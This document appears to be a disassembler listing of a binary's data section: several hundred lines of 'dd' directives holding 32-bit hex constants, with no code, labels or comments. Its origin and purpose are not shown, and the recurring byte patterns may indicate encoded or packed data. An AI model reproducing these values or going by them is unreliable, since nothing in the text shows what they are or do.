		dd 122F48A3h, 3449B299h, 2B6308F3h, 117CBFD2h, 7E5556E5h
		dd 5AB16A03h, 14AC0F20h, 465D7E55h, 2DFA66DAh, 2C3F4507h
		dd 940B215Dh, 0B8C03BC3h, 0A6442841h, 2A41BDF0h, 0F5FFA03Ah
		dd 0A6AB2761h, 1EB54417h, 6CAD86FDh, 0D8C5C89Ah, 7F6CAD86h
		dd 7B8B722Dh, 1C727E95h, 9B56D4Eh, 45148AC6h, 20948B2h
		dd 5C73EAF3h, 0E01E010Eh, 99E5D75Ah, 0D823DC82h, 784FE090h
		dd 7B9837C6h, 1C784FE0h, 0E23954Eh, 45D821EFh, 200DDF97h
		dd 6F9644D5h, 18D93060h, 0B935130Ch, 0EC0A19A8h, 0B4B8D12Ch
		dd 0D12D0036h, 0F30AABAh, 0E9DF2C84h, 0EE205A11h, 7BC13EB1h
		dd 0BEECEC97h, 0DF1817B6h, 738A242h, 9CD81B75h,	5705E78Fh
		dd 1E540F82h, 0A1F317BBh, 15285DD0h, 0D3FE8359h, 17BB1DC2h
		dd 9D6C1745h, 0ED36C96h, 0A98407D4h, 5DD067A2h,	8D5F1726h
		dd 90EAC1D2h, 92661CFFh, 792B443Dh, 171560h, 43D82000h
		dd 58F30D68h, 7009745Fh, 0E235CB7h, 203D46ADh, 3F6F3C87h
		dd 2570ABC6h, 26942D9h,	6E4566F7h, 0A07B14h, 45514241h
		dd 21F666DAh, 2C3F450Bh, 0DED48C40h, 0BD0E840Bh, 0DB897282h
		dd 4B484716h, 0CC7282BDh, 0FE2E59Eh, 4DE025F5h,	0A790CA9Fh
		dd 3449B6A5h, 0AB74A238h, 41520DA7h, 836F59CAh,	4C633A72h
		dd 836F5441h, 8CA1F372h, 0F334DA77h, 48B66298h,	13A60137h
		dd 6F504D40h, 0A5F77283h, 7EDAFAh, 3843AE71h, 0E49F4D21h
		dd 57A77319h, 0B3461478h, 295642BCh, 0FF825814h, 57A7C3D0h
		dd 60164478h, 22613047h, 7857A831h, 53A984D6h, 0E21C0738h
		dd 0A836276Ah, 17C7857h, 0E2E68468h, 5BE282B0h,	0B7427323h
		dd 0FFA076C6h, 0DA3D4EB4h, 0E3A0DFA2h, 371841E3h, 6000016h
		dd 634A6DFAh, 4AA17A15h, 0B299122Bh, 0A48F2845h, 12E9C25Fh
		dd 55E81D4Dh, 6CFB7B52h, 19604Bh, 25364CA7h, 602FFE82h
		dd 66DA4473h, 1969C314h, 855A7B56h, 0AFFD6CAEh,	0A88C0F4h
		dd 0BDC24847h, 17457282h, 46BCB342h, 0F0A33935h, 22B44FB5h
		dd 696A59B7h, 0EE728360h, 620406BCh, 9BD9D280h,	963DCCC2h
		dd 72834F91h, 0D886436h, 7283500Dh, 7DE00783h, 4FF6E7AAh
		dd 0C3917283h, 43771710h, 587C4B79h, 0AD000000h, 4C7D53B1h
		dd 5FE31932h, 8AA7DC4Fh, 2C713BE4h, 0A5740579h,	66192E4Eh
		dd 0AE84829Fh, 8257056Ch
		dd 84BFDCF3h, 1AA96CAEh, 6CAE84F9h, 9ECCCC9Eh, 9DB2FFE5h
		dd 336CAE84h, 0FB935097h, 0F8514E0Eh, 13h, 84F5E57Ch, 0FA566CAEh
		dd 3ADEF584h, 0DD727FA3h, 2CC02C8Fh, 246B7E74h,	727FB6F8h
		dd 0E3F0DF6Eh, 64727FB6h, 0D98B0D36h, 0B9D22815h, 52ED177Eh
		dd 334EB792h, 0F2359333h, 75B6C933h, 9B4BE41Eh,	740579D7h
		dd 50CAF159h, 71886778h, 54543450h, 0E48A8172h,	87F0DD3Bh
		dd 0B260FAEAh, 74E81279h, 50DF3C59h, 0DB89DB78h, 85AC8E0Bh
		dd 0C5C3F087h, 8699E322h, 9BB4CE25h, 7C116ECBh,	5E890170h
		dd 3FC25DA7h, 0FEB7C430h, 0E334EF80h, 450AAED4h, 78491C36h
		dd 95A6DC47h, 3A20D9h, 0F150D4CAh, 4B0537E8h, 0DB0F8257h
		dd 8DF658FBh, 0FBC6D7FAh, 1341F658h, 0AA196860h, 0F658FBA9h
		dd 72C67C2Eh, 92A07E7Eh, 52654674h, 0D58EA1DFh,	561B344Eh
		dd 0A0B0887h, 567DF659h, 0F6590A45h, 623090C2h,	1F12ABB1h
		dd 8E954EE1h, 7908D96Eh, 590A494Ah, 919CCEF6h, 452FD06Bh
		dd 0FDF6EC9Dh, 0A07053ABh, 621E192h, 9AE5B5CFh,	4B79E383h
		dd 693D5950h, 0F60DB96Eh, 89F3BA65h, 0F30CE3F6h, 3BBFA55Eh
		dd 0C190615Dh, 33206F3Eh, 0D4F658FBh, 0FB0E0F86h, 0DB89F658h
		dd 144DDD38h, 343BFC2Ah, 3781B2CFh, 116B4265h, 1465765Dh
		dd 0B0E2FC2Ah, 13F1E2A1h, 0C496FC2Ah, 40AF5E16h, 917C2734h
		dd 0C2A1380h, 5C955026h, 0BB921526h, 0D8452940h, 31E68EA3h
		dd 6033A641h, 2A14302Dh, 0DA85D70Ch, 96112853h,	24F00CE3h
		dd 0E59E4CDDh, 3A2A43BEh, 86F0A2DFh, 4D40F9F5h,	0C2A1450h
		dd 0C1F7A5F7h, 0AAC13D30h, 0FC06E389h, 57A68363h, 0FB4F2EC6h
		dd 0E8DE8A2Ch, 937D843Dh, 8225CB66h, 680178F7h,	8495ECB7h
		dd 5A2551E8h, 0A8079893h, 7AD6E699h, 0FE5E7504h, 9911FAD8h
		dd 1BAA1BCBh, 905CED14h, 4E9929CAh, 0DADD6C97h,	263B40AFh
		dd 0CCCC367Dh, 0E4F59BB0h, 965EED09h, 0E4412BD4h, 2DFC8D9Eh
		dd 0FAD87566h, 9F401211h, 7E1368D5h, 0DC6B8B76h, 0E83F8F10h
		dd 2259556h, 5A6B9C3h, 1B6922Ch, 2697ACh, 458B0000h, 86472F3Eh
		dd 363E51ABh, 0EDEEA5B4h, 6A6CAE84h, 1B750738h,	0C7FFD2A7h
		dd 40727F98h, 1F4E9912h, 0E2000000h, 472F3E45h,	8D9D5B3h
		dd 0FA1BB679h, 9D6CAE84h, 75A914CFh, 12727F99h,	0FBA9C03Fh
		dd 0C6F6D420h, 864B4701h, 7FA9DF0Bh, 272A7872h,	0FF6D233Fh
		dd 2FD01706h, 390C09F4h, 114F6733h, 69C1CC9Dh, 1F6D043Fh
		dd 9D51EA10h, 364BB0h, 0ABBBD22Dh, 0A78A0E31h, 0B923C35Eh
		dd 3917DB8Bh, 4219B445h, 0C572D577h, 156FC297h,	304AA17Ah
		dd 8CEABC1Fh, 1DB7E923h, 12A9CCh, 0DF6C9400h, 0F487F1DCh
		dd 8C9DD833h, 9AB7C02Bh, 0BCD12A01h, 0A3DB807Bh, 89E4C75Ah
		dd 0F6DDDE6Dh, 0D239F28Bh, 6C1497A8h, 40E5F6DDh, 0B56266DAh
		dd 85F8E5FFh, 0FD5B6CAEh, 0ED8AF081h, 7FDF6BCFh, 2A996013h
		dd 727FC642h, 23FA1FC5h, 3E96BE04h, 8FEA7908h, 0ABD63DFEh
		dd 0C2C945B1h, 4EEBD8C9h, 7FFA5647h, 0FDA3F172h, 5DEE14F1h
		dd 7909267Ah, 0A4C56FE9h, 1232h, 4566F50Dh, 0BC7F106Eh
		dd 94172651h, 8A2D40B9h, 0E4C75AA3h, 0E3185219h, 0F6066D4Eh
		dd 146F4661h, 314BA205h, 22E39D1Eh, 0DA406E6Fh,	763EE966h
		dd 6B7E742Ch, 7F8C5024h, 0CADC0672h, 8F1DDA04h,	0DA880033h
		dd 6EDE1817h, 80533223h, 6C692472h, 0EB728053h,	650B59B9h
		dd 720D6B42h, 0D26D9772h, 27A312h, 0C92CB7C1h, 0A3B87B9Ch
		dd 0DB43640Ah, 205FD2CEh, 0EBA65609h, 824CC07Fh, 0EB105B61h
		dd 43F2A056h, 80FE9AE4h, 0B76507EFh, 47DEF2BFh,	0DEB37280h
		dd 58142353h, 16D1D182h, 0FB8EA1DFh, 47786528h,	4D1F7280h
		dd 0CC2A0192h, 613FB3B3h, 66CD9C6Dh, 715C0718h,	785480C7h
		dd 0E04F1240h, 0CF26819Ah, 4D79AB5h, 54808C89h,	577A0B78h
		dd 78548146h, 32ED93C1h, 0CDC0932Ah, 785480D0h,	30BBAD77h
		dd 0CE49146Bh, 0FB556718h, 0F4DFF287h, 937E286Eh, 0C73D30C1h
		dd 334EA5B4h, 0EF904A1Ah, 829DE7CEh, 0BC326EE2h, 444B1AADh
		dd 7E286F57h, 0AF1A2F0h, 83F9A05Ah, 47D6210Ch, 0B6023DAFh
		dd 6397E3E4h, 4AFAD7FFh, 110513h, 0B3C83000h, 48E31D78h
		dd 60F9046Fh, 7E136C47h, 102D56BDh, 0CF7F2C97h,	35009BB6h
		dd 1279B2C9h, 7E5556E7h, 30B06B04h, 3F415271h, 11C666DAh
		dd 8501E51Bh, 0D02B6CAEh, 227E7EB9h, 8513008Fh,	0E6B46CAEh
		dd 849FBC13h, 6A386CAEh, 3B1EB544h, 0DC7282BDh,	974FB8Eh
		dd 0DA00B770h, 0AD5BB83Dh, 969E41F7h, 0CE062747h, 18B0C51h
		dd 0AA7D0000h, 2E84F6E7h, 95C3916Dh, 0EE859E6Dh, 6933ECF5h
		dd 28047A2Ch, 360DFD19h, 47A4A755h, 0D2C6CD9Ch,	846CADABh
		dd 2B3B52A9h, 0E52D0BB1h, 88D9DA29h, 307C22D7h,	0A190B19h
		dd 62A45FF0h, 762C0CC2h, 0D4D83478h, 3579752Ch,	0D3A6FD19h
		dd 0D04308FCh, 19A8F42Fh, 9353EC0Ah, 41A693C9h,	0CEF44640h
		dd 77820C15h, 4E47524Eh, 0DB000000h, 0FC07762Ch, 58A4816Dh
		dd 8BB923C3h, 0AA1949E5h, 6CAE84A6h, 918201D0h,	366CAE84h
		dd 2C5DBB64h, 0C3A3BAC1h, 84A7B419h, 977A6CAEh,	73D8FD1Ah
		dd 0C2F0A226h, 0B5C6303Fh, 0B19A28Ah, 3233A45h,	3CB90D17h
		dd 0B6000000h, 71223DBBh, 78762C2Bh, 0A6AA1934h, 0E26CAE84h
		dd 166BBEB4h, 36FC92h, 2C56192Ch, 18DE0426h, 46B0A4A3h
		dd 840E3C60h, 45072DD6h, 1903233Ah, 855A7B56h, 0AFFD6CAEh
		dd 4771FBF4h, 524E0637h, 98E34E11h, 967FED81h, 6FAE8485h
		dd 0D5AF5002h, 55h, 79752C49h, 0A6AA1935h, 0D06CAE84h
		dd 6528225Dh, 6CAE8478h, 0D79F4D1Fh, 3C6E6A15h,	0DB561970h
		dd 0F2E3AE9Ch, 956CAE84h, 8F5D11C7h, 84C6D7FAh,	13416CAEh
		dd 0FD19C460h, 9E02BA2h, 0EA3D43A2h, 2EA9BC1h, 2650DB84h
		dd 4C720B6Ah, 0B90D17E0h, 27h, 79752CEBh, 0DB561935h, 0EBD28D9Ch
		dd 6CAE84E7h, 19B7FFA3h, 0EC0A190Bh, 7B85A053h,	0E71211E0h
		dd 13CC9E56h, 0B90D1709h, 0FFFFFE6Ch, 7E742CEBh, 0BDAE246Bh
		dd 7B297282h, 0EE81FB76h, 0D8D68FCDh, 6DDF1A09h, 82BE3526h
		dd 0D280D272h, 0D0974812h, 82BDE0FDh, 39356772h, 82BE617Ch
		dd 1F324B72h, 0FE8FEA57h, 0C661B1F6h, 7BF69970h, 0E4866E01h
		dd 873CEB3Bh, 4B79D5E7h, 51262C1h, 0E0FDD069h, 677282C5h
		dd 5F720735h, 7282C63Eh, 1CE88BD9h, 33h, 84F4E510h, 0C43E6CAEh
		dd 958570ABh, 0F66CAE84h, 8255249Ah, 9A380258h,	934CF430h
		dd 7F14A428h, 0B6712372h, 872DDB03h, 0F6EB8049h, 0B89ACDh
		dd 2C960000h, 246B7E74h, 727FAA30h, 79F485D7h, 8B666B02h
		dd 0C756AD6Dh, 0E78FBD2Fh, 72595A05h, 0CF7E7607h, 5A051660h
		dd 5168DEBAh, 0EA87FC12h, 9B3A60FAh, 40BCF168h,	0F3A13B2Bh
		dd 45275FEEh, 0C136894Dh, 0E013008Fh, 0E6B4727Fh, 74077D30h
		dd 0CA31E278h, 78541834h, 7DF081D3h, 59B47706h,	975B0B22h
		dd 233CBAB9h, 6B949943h, 725120D6h, 7E284983h, 0AC835604h
		dd 8BE2C556h, 0D7FDDE71h, 1EDDD0B8h, 0DEC7776h,	0AFCB0000h
		dd 0CA341F98h, 0E01F76B1h, 0FA076E49h, 14694467h, 98C7BE79h
		dd 27809DE6h, 9BB0CCh, 7CBFCE35h, 5750EB11h, 28359829h
		dd 0AF66DA3Ch, 56193C78h, 0AE855A7Bh, 7527FD6Ch, 0CBC0B9B3h
		dd 743FE096h, 0C8717D0Eh, 0CE898A39h, 5C0E6CADh, 0E982F8A3h
		dd 2CEA1518h, 0DA8AB8D1h, 0E2955F00h
		dd 669C5590h, 0E5F9D2D5h, 0C2514EC4h, 67h, 7E742C66h, 8BCC246Bh
		dd 194B727Fh, 809BE548h, 9F457EECh, 223748B2h, 0FA798738h
		dd 7FBFC6D7h, 0E5134172h, 9B442686h, 0B6C9331Ah, 0DB200FBEh
		dd 863CAE46h, 8B0F4F01h, 0B0447FC0h, 0B817DAD8h, 78515694h
		dd 0C1906133h, 5156D1C2h, 215B7678h, 3A89580Eh,	78515719h
		dd 0E233ECBEh, 8C8904D7h, 0B785156h, 45FEA659h,	0F087203Bh
		dd 0A7B8C221h, 0AE852D2Eh, 0C7F8AA6Ch, 6509225Ch, 1D3049A4h
		dd 0EDE88B51h, 6CAE84F7h, 0A2B7C63Dh, 7A25344Fh, 0E95D3BB9h
		dd 0B445C515h, 0F584AA31h, 829308DEh, 0CDD8F72h, 697C43D6h
		dd 9EDFD79Fh, 772A8B2h,	3FCAF567h, 0E07B816Ch, 7009743Fh
		dd 27475DB7h, 0C51CE06h, 190h, 0F6E7AA7Dh, 3C6D2E84h, 654B4C5h
		dd 7A2CD75Dh, 0AA192804h, 6CAE84A6h, 19703CE2h,	0CF2FED0Ah
		dd 0DA8AB8h, 0DEA4885Fh, 5F9E9506h, 9B4426CEh, 0ED0A1991h
		dd 95BBD62Fh, 0BC5003D9h, 736D60E6h, 619FACC8h,	732157E1h
		dd 0E679836Eh, 0D4D8773Dh, 775A752Ch, 6CAE8566h, 242CD2BBh
		dd 6464D824h, 0CD9DBE15h, 683A6CADh, 0B59894BAh, 0DFD19EFh
		dd 0D66C55BAh, 4648D182h, 3524EA5h, 42h, 78762C27h, 0A6AA1934h
		dd 216CAE84h, 56193373h, 88F39BDBh, 0B923C3F1h,	0A199E86h
		dd 0DF4AD4F1h, 8793496Ah, 0F8072ED1h, 0FD19CD61h, 8227585Fh
		dd 8CDC4CDDh, 344134C4h, 98845D06h, 38B9h, 762CEB00h, 7FFA6978h
		dd 0BB6406EEh, 0A6AA19F1h, 0E26CAE84h, 379A2D3Ch, 6CAE8526h
		dd 64C0F3A1h, 0A190B19h, 0D5975FF0h, 65F4032Ah,	7B5619C9h
		dd 6CAE855Ah, 0FBF4AFFDh, 6374771h, 4D1C524Eh, 10000000h
		dd 6879752Ch, 0EC7F85h,	0E691C2D2h, 0EF9DBB57h,	0AA196834h
		dd 6CAE84A6h, 0EA4EAAD0h, 0A3E42D8Ah, 0DA4A18F0h, 3B450B19h
		dd 848F8C03h, 5A086CAEh, 6BB9A5B4h, 2B61B390h, 170A12CDh
		dd 23272A50h, 0A1E079EDh, 3BB9B6FEh, 0EB000000h, 3579752Ch
		dd 0E2E1FD19h, 5D112656h, 0E4A1518Fh, 0C4CB9E41h, 6CAE43D4h
		dd 3F52AF82h, 83A37704h, 0C22C5619h, 7B966227h,	45F3B95Ah
		dd 2551203Bh, 0FCA7F36Fh, 9F85BEFDh, 67B90D17h,	0EBFFFFFEh
		dd 6B7E742Ch, 82BDAE24h, 0B3F32972h, 71D097CDh,	6235C4EAh
		dd 0F751708Fh, 0BEB59751h, 357023D1h, 797BBCCFh, 0F4DBAE24h
		dd 728315E7h, 77323260h, 72831668h, 1085A0E6h, 246370EAh
		dd 550EBC4Eh, 7931B2CCh, 18B74Bh, 0E5AB0000h, 6CAE84F4h
		dd 588C43Eh, 6CAE8518h,	0FC3FEDBFh, 0C46Dh, 742CC700h
		dd 98246B7Eh, 3F727F94h, 66CD9C6Dh, 9283021Bh, 35727F94h
		dd 46ADBC67h, 0A289223Bh, 0AA2EC657h, 5EE1F0EEh, 0DB8BA6D3h
		dd 0D5775E01h, 727853CDh, 0A7D25120h, 9D30C396h, 7853CD80h
		dd 0BC2E265Dh, 4040E2F8h, 6905186Dh, 0D497CDF3h, 0AEFF7EC6h
		dd 0A2892AD5h, 0AA2EC657h, 0A2E1F0EEh, 7E27EDD3h, 0BEDFF285h
		dd 597E27EDh, 3260680Bh, 0A1BAC02Fh, 0BAA07306h, 989ECD3Ah
		dd 0B4A12C19h, 537E27F1h, 0ADD75E01h, 10853992h, 20CCDDD1h
		dd 0A3139h, 67F40C00h, 7C0F6944h, 142550BBh, 223FB893h
		dd 0C459A289h, 1B5318E3h, 16C4FE2h, 6E4566F5h, 4AA17A13h
		dd 0E49C1F30h, 386D6E25h, 3DEA66DAh, 2C3F4577h,	8C9FE540h
		dd 0C0C76FDh, 0D69458F1h, 0C2757F20h, 0A9C23837h, 0E2358C5h
		dd 5FD68466h, 87650920h, 0DA1BCADCh, 0C32C8FA0h, 514E0EABh
		dd 4588h, 742CAC00h, 0B361FC01h, 8D17E3AEh, 0E241727Fh
		dd 71EBFB94h, 49184A4Eh, 0E6AD9FDAh, 727F8CF5h,	5212C092h
		dd 7C0DD788h, 0CEF18CF1h, 0A9021D67h, 4F273842h, 0D1CD8Bh
		dd 99BAD12Dh, 9C33C3CEh, 86D47850h, 0FD19CF25h,	1A0F7E2h
		dd 959043F6h, 3A55AF6Bh, 4189314h, 2E6CAE7Fh, 5661BAD3h
		dd 1E69E62Ch, 0F60CB565h, 0C88CB765h, 404F1290h, 728247A9h
		dd 0DA6D7C2Eh, 8247E6F7h, 85336172h, 91CDAF45h,	3C6F951h
		dd 7FB8D12Ch, 6274715h,	220151CEh, 0C29A45D2h, 10Ch, 47A2C66h
		dd 2F4FA275h, 84A8B518h, 0F52F6CAEh, 0E0E09B92h, 417220E3h
		dd 0A6AA19DBh, 0E26CAE84h, 5619703Ch, 0D48FA2DBh, 0C806DE48h
		dd 3478762Ch, 752CD4D8h, 8C60FD06h, 0B50428DEh,	0EC0A19EFh
		dd 0ABBBD02Ch, 0D7500331h, 524E06C7h, 2A8Ch, 0D76FD00h
		dd 2CE54F70h, 19347876h, 0AE84A6AAh, 3373216Ch,	3A450B19h
		dd 0D170323h, 2BB9h, 104CB600h,	0F322F0CEh, 2C4BD182h
		dd 0FA697876h, 6A32ED7Ah, 84A6AA19h, 3CE26CAEh,	0A7B8C62Dh
		dd 3A621DCFh, 3A450B19h, 0D170323h, 4E063747h, 2D1C52h
		dd 2C100000h, 19357975h, 0AE84A6AAh, 3373216Ch,	0FD190B19h
		dd 53D76C8Fh, 61CCF760h, 6DFC7B17h, 3A47AABFh, 17307C27h
		dd 34B90Dh, 2CEB0000h, 19357975h, 0B9EDB56h, 65E92DCh
		dd 806C126Dh, 0BED239DAh, 9A6CAE2Fh, 561958D4h,	0E68EA1DBh
		dd 45D15B04h, 2551203Bh, 0FB1690E0h, 0BEE69918h, 0E6B90D17h
		dd 0EBFFFFFEh, 6C03FD19h, 32324FB4h, 0A7C672A8h, 69007B2Ah
		dd 183CE785h, 0ECBF4240h, 1B65765Dh, 0B0E26CAEh, 538E048Fh
		dd 5B097282h, 0CE619B96h, 0BDCE343Bh, 0A7082BB1h, 0F80D7025h
		dd 0EFA2B765h, 728253EEh, 922B3B69h, 8F639BC3h,	5B9A7FF7h
		dd 818F696Ah, 83BCEE72h, 818F1D38h, 0AAD0B372h,	0E1D6F022h
		dd 4A5C07ACh, 4246589Bh, 21234B7Ah, 9A000000h, 1E18F360h
		dd 81F7A2B3h, 0C9772572h, 2FD08862h, 84F4E505h,	0C43E6CAEh
		dd 0AFD970ABh, 4B000000h, 23F10A19h, 33A945D4h,	0E6A2520Dh
		dd 20D66997h, 0D0FF8E51h, 6CAE84C3h, 0E41F1644h, 6723AA55h
		dd 11727F99h, 9A4AE312h, 0C8B91FC0h, 7F98D8C5h,	7F2D7F72h
		dd 0ED7C876Ah, 54E7111Ch, 8011C298h, 373F4EB5h,	18E9E5A3h
		dd 53D11BB5h, 1BEEBC78h, 5B5CED14h, 7C700970h, 5F22A0F8h
		dd 28028570h, 8150027Eh, 32C758A2h, 0BAAAC53Fh,	57BE7F20h
		dd 0FFB9122Dh, 46DDD0FFh, 718BFAEh, 0DB270000h,	0F6006B4Ch
		dd 0C6B4265h, 2653BA7Dh, 4045900Bh, 6C338A2Dh, 73B4C932h
		dd 6C4FDC18h, 4863FA01h, 0A304176Dh, 54414C1Dh,	0F366DA35h
		dd 56190824h, 0AE855A7Bh, 0BEE0A76Ch, 6E3D4212h, 2D3C476Ah
		dd 0CAF59B41h, 6E061963h, 13E67983h, 0A64EE31Ch, 0F4511BC4h
		dd 17F2F28Fh, 0A6DC51E8h, 4F39D995h, 0B2452698h, 255042BFh
		dd 0A38E6614h, 0B329C554h, 15D0D28Dh, 8FEAA6DCh, 4674F6FEh
		dd 38720C65h, 0F77A514Eh, 0AC2FD8Ch, 29h, 1CE00B73h, 5C86C05Ah
		dd 742CF9A3h, 0F4246B7Eh, 93727FA4h, 6F602DC1h,	0E1727FA5h
		dd 29457EA9h, 0E4B7CEAh, 36h, 7E742C22h, 992C246Bh, 0F9AB727Fh
		dd 59F208F5h, 0D0D775Eh, 0AD8864F7h, 0B12B3B52h, 5D11DD83h
		dd 0D7FA8F03h, 7850ACFBh, 683BCE9Ch, 50AD3825h,	0D28DDF78h
		dd 0BAF6EBC1h, 0F9744B05h, 6406EE7Dh, 0AE856C69h, 0F4B9EB6Ch
		dd 3FC2F089h, 7FA95890h, 70ADFF72h, 0EC81FA69h,	0F36EC833h
		dd 151832F5h, 0ECA053EAh, 642B3EB4h, 38C6F90Ch,	0D208D98Bh
		dd 60A11303h, 0F007AE97h, 0EDD507BDh, 0B2462ED1h, 4609D8D6h
		dd 0C6FE4A4Bh, 619FCD38h, 5078FA32h, 0E8FFA026h, 97D3FEA5h
		dd 6CB993Eh, 0ECE9A477h, 6B3E97D3h, 0E51F0639h,	0D4395A69h
		dd 8CDE3E97h, 1BAADDDEh, 97D3A7B4h, 4172203Eh, 0C8FA0DAh
		dd 1D612EC6h, 97C019CBh, 0A6000005h, 83EACD5Ah,	0EAC1DA75h
		dd 0D239F28Bh, 0C42F88A5h, 0B209A2BFh, 3548BDEDh, 0CC5B9BF2h
		dd 0E07980EBh, 8596ECC7h, 0C0CF9E22h, 66DA33D3h, 4589A374h
		dd 0E5402C3Fh, 0A428839Ah, 0ACE3F6ECh, 7282BD22h, 12FFF7A5h
		dd 7B714AE3h, 0BAE97645h, 544D30Ah, 7730000h, 225CB770h
		dd 3847AE09h, 52AF8621h, 6C91FC3Fh, 406FD6D1h, 5F58F50Eh
		dd 0B8730874h, 9417265Dh, 8F2843B9h, 809D30F1h,	766DA32h
		dd 742C64D0h, 55D86B7Eh, 9B621D30h, 7282BCE9h, 0C62D3C6Eh
		dd 8CA1DEB6h, 0AB5416DEh, 1964C1h, 76462F87h, 0B3AA5AE9h
		dd 4EAh, 1D9EADD5h, 74B7C836h, 6C4FDE19h, 4265F801h, 0BC7F126Bh
		dd 9BE09AC1h, 0AECE2586h, 0CC371E99h, 0E9137ABDh, 9A2B5556h
		dd 0DA332637h, 3E76A166h, 6B7E742Ch, 82BDA224h,	7F772572h
		dd 51463CEh, 65C0F369h,	4A027C1Ah, 82BE5647h, 0FDA3F172h
		dd 42456BF1h, 0E97644AEh, 8B1C4DE7h, 0AA000004h, 97FE394Eh
		dd 0FED5D669h, 0E6CDEE7Fh, 0C8238499h, 0A61D9EB3h, 213C41F9h
		dd 384FAF86h, 0DC6D94FFh, 0F18AF0DBh, 0D4FB8A36h, 66DA32C7h
		dd 459D9740h, 0E5402C3Fh, 40E08C9Fh, 1C669F46h,	374DA803h
		dd 4D4D4824h, 676CAE85h, 816C0017h, 0CC5F9975h,	8BEB561Eh
		dd 816AF0FCh, 8A40F631h, 0A70E500h, 0E048CBCCh,	0A3DD5030h
		dd 5D06E488h, 1893ACD6h, 0F386FC54h, 829E22DCh,	0E2F7A572h
		dd 0DBDA2B53h, 29E69F1Ch, 0BAD52F76h, 0A2DB5661h, 3349D48Fh
		dd 5F0D1C67h, 7685C397h, 0EE7C700Dh, 0BB3A2938h, 0DBF6F1A2h
		dd 7856D7F0h, 0AAABE697h, 807856D7h, 0B4E6DA77h, 67CF386h
		dd 215BB275h, 0BFA7660Eh, 0D6C061FEh, 97A55E22h, 9934C5B9h
		dd 7E27FFCDh, 4BBF184Ah, 16DDD103h, 3AC6F7Eh, 6F8B0000h
		dd 8AF4DFD8h, 0A0DF36F1h, 0BAC72E89h, 0D42904A7h, 0D8877EB9h
		dd 0E7C05DA6h, 0C0DB708Ch, 3CFF8EF5h, 1790ABD1h, 0E8F5D869h
		dd 6F66DA31h, 3F45FCB8h, 5DB9402Ch, 0D9373BAFh,	9B82BD3Ch
		dd 0EFEDCE61h, 612C3DB1h, 727F66E1h, 9BB81766h,	91727F66h
		dd 0A7F5D568h, 0F40DE0F1h, 9CADD459h, 83690AD0h, 7F671106h
		dd 0DC0BBF72h, 7D2C8727h, 2B6C4Bh, 2C800000h, 246B7E74h
		dd 727F9750h, 0AD9FDAF7h, 7F96F5E6h, 12C09272h,	1405806Ch
		dd 0BA727F97h, 841AD90Ch, 614B7CF8h, 0D7h, 2C3F4585h, 8DA0E540h
		dd 0ABD558E1h, 550EDC90h, 0CB9BB4CEh, 0A07B146Eh, 0AE8927F5h
		dd 64F70D6Ch, 79126843h, 0E9EAD968h, 6E6CAE88h,	9559033Ch
		dd 9F32C7BBh, 727F98A7h, 162752D1h, 994F4C43h, 9AC8727Fh
		dd 6A4D1FF9h, 0AFCF2E6Ah, 0E18D9CE7h, 0C399557Bh, 0E4164C1Dh
		dd 0BFB2088Bh, 0A7767122h, 0DD9C01BFh, 0DD862B78h, 53A215F6h
		dd 11E0B278h, 0A448E512h, 0E74A1DC6h, 0EA87FC9Eh, 0B1CD60FAh
		dd 0EE5F49Ah, 0D18B5BF4h, 5DA68D2Eh, 611DC7C0h,	0D874E3A5h
		dd 27581h, 23384000h, 3853AD88h, 0D06994FFh, 0EE83FCD7h
		dd 809DE6CDh, 5F0F5C27h, 45900B26h, 0A2892239h,	8EE5C657h
		dd 0A0C0DB74h, 2FB1A2E1h, 815666DAh, 2D4045ABh,	0B70FF8Ah
		dd 9CE64D76h, 2CCC2883h, 67F60174h, 5A2FDD8Fh, 7F977F77h
		dd 874A1872h, 703D4EA8h, 0E07A6A07h, 6768353Fh,	0E9727F98h
		dd 1C1386A1h, 8FA84BE0h, 4B7CF7EFh, 7D0A6AF9h, 3CC8EB71h
		dd 8Bh,	2C3F4530h, 8DA0E540h, 88F6A4E1h, 0C63C6CAEh, 0E11B72B5h
		dd 76D2A64Eh, 4BA66978h, 99641F32h, 727F98A5h, 35B77022h
		dd 49E2185Bh, 4011C7A5h, 5338214Dh, 0E5F4A678h,	5F58F50Eh
		dd 0CDFA0F74h, 0DA5EAB3Ah, 0A5696210h, 0ECE3A64Dh, 1AC1940h
		dd 6F8B0000h, 8AF4DFD8h, 0A0DF36F1h, 0BAC72E89h, 0D42904A7h
		dd 0D8877EB9h, 0E7C05DA6h, 0C0DB708Ch, 3CFF8EF5h, 1790ABD1h
		dd 0E8F5D869h, 6F66DA2Fh, 4045FCB8h, 59A38A2Dh,	458FE5C6h
		dd 0E5402C3Fh, 0A92B8C9Fh, 0F9877BEFh, 1203F0D3h, 0E2369D6Ch
		dd 65727EB3h, 561E3348h, 830EE694h, 727EB38Eh, 21CD5EA4h
		dd 0C0ACBDC4h, 1A7FA620h, 7EB3A6B7h, 4D732172h,	0BE23C244h
		dd 3B2B46B3h, 19B5FEA1h, 1E4B7DDFh, 2Ch, 7E742C12h, 9AB0246Bh
		dd 4BA6727Fh, 0DB859A2Dh, 6EFE4493h, 633187B8h,	0A7110683h
		dd 0BBF727Fh, 0E88727DCh, 186C4B7Ch, 80000000h,	0AE84F5E5h
		dd 84FA566Ch, 6C017EF5h, 1119B4B3h, 0B6727FAFh,	2CE9C3E4h
		dd 246B7E74h, 727FA61Ch, 4405E9BBh, 0B1FC8FE9h,	800B3447h
		dd 727FA58Fh, 0A55E8901h, 4B7CEE09h, 29EEh, 0F4E50200h
		dd 626CAE84h, 8EA7ABD3h, 4B7EA753h, 0AE38597Ah,	81ACFE6Ch
		dd 5D0FE776h, 38B692A2h, 618E9A29h, 5B09727Fh, 56197440h
		dd 0AE855A7Bh, 94810C6Ch, 336CAE84h, 334C6161h,	0E694561Eh
		dd 4D411F3Dh, 0BE0F11BCh, 1D797282h, 225ED3C8h,	0A6B2BECDh
		dd 0B57F5886h, 0B8EAEE91h, 5E2B4DA9h, 695CCD9Bh, 0C17FBAC7h
		dd 35EE3168h, 0A7B8C22Fh, 83FE7504h, 1862C9EAh,	9179AD8Fh
		dd 0D33BF93h, 5F62461h,	0C33C7A92h, 215BC6AEh, 0F141660Eh
		dd 9EE88036h, 0DB748E47h, 0FC8FF5C0h, 9CDA49F0h, 2C55D083h
		dd 0E2645D11h, 0E7788243h, 3FBEB5C4h, 0D42E752Eh, 3B2ABBBh
		dd 0FE000000h, 3D45190Bh, 0A1DB462Eh, 7BE68Eh, 5C988569h
		dd 0C13A27CFh, 2065C0ACh, 7B84610Dh, 0D4230EE6h, 324CA945h
